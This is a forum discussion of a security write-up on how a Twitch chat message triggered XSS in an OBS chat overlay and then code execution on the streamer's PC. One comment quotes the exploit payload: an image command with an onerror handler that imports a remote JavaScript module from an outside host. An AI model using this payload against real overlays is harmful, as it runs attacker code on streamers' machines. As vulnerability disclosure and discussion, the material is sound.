How one Twitch chat message became code execution on a streamer’s PC

(blog.scrt.ch)

22 points | by tau255 23 hours ago

3 comments

Scryptonite 35 minutes ago
Deja Vu. I had to submit an issue and fix a similar issue -- it was similarly Twitch chat overlay XSS, but for that they at least tried to strip the tags (but it was a poor JS implementation of PHP strip_tags), and didn't understand the issue until I crafted a image with onload/onerror to freeze/hang the chat overlay.
dang 1 hour ago
Url changed from https://cyberinsider.com/malicious-twitch-chat-messages-can-..., which points to this.
verteu 1 hour ago
tldr: XSS on OBS via the message
```
  !image http://toto.jpg/x'onerror=import('https://ha10.scrt.ch:8080/poc-module.js');a='a
```
[-]
- Macha 38 minutes ago
  The interesting part IMO is less the XSS on the streamer's overlay, but the fact that it could escape the browser source web page into local code execution (via a combination of OBS disabling the chromium sandbox, and using an outdated CEF version)